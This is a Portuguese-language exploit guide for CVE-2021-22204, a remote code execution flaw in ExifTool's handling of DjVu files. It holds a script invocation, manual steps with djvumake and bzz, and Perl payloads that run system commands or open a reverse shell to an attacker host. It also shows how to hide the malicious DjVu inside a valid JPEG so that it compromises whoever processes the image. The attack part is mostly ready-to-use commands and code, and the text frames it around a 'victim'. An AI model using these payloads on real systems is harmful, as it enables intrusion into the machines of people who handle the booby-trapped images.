
Script de exploit para CVE-2021-22204, um RCE do ExifTool via arquivos DjVu maliciosos, com etapas manuais de exploração e payloads de reverse shell.
A neutralização inadequada dos dados do usuário no formato de arquivo DjVu no ExifTool versões 7.44 e superiores permite a execução arbitrária de código ao analisar a imagem maliciosa

Comando do sistema:
bash CVE-2021-2204.sh "system('id')" happy.jpg
Reverse shell
bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg
*Seu IP e PORTA
$ sudo apt install djvulibre-bin
# Installs the required tools
$ bzz payload payload.bzz
# Compress our payload file with to make it non human-readable
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file
Payload
(metadata "\c${system('id')};")
Payload (para reversehell)
(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost'))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")
Então, quando a vítima abrir o arquivo exploit.djvu com uma versão vulnerável do ExifTool, nosso código Perl embutido executará o comando id .
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
0xc51b => {
Name => 'HasselbladExif',
Writable => 'string',
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end%
O que este arquivo faz é possibilitar que escrevamos uma nova tag no arquivo, com o nome HasselbladExif e os bytes 0xc51b para identificá-la dentro do nosso novo arquivo. Então podemos inseri-la dentro de qualquer arquivo. [8]Em seguida, use-a e nosso exploit.djvu já criado para inserir o arquivo DjVu malicioso dentro de um JPEG válido.
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg
configfile = The name of our configuration file;
-HasselbladExif = Tag name that are specified in the config file;
exploit.djvu = Our exploit, previously made with djvumake;
hacker.jpg = A valid JPEG file;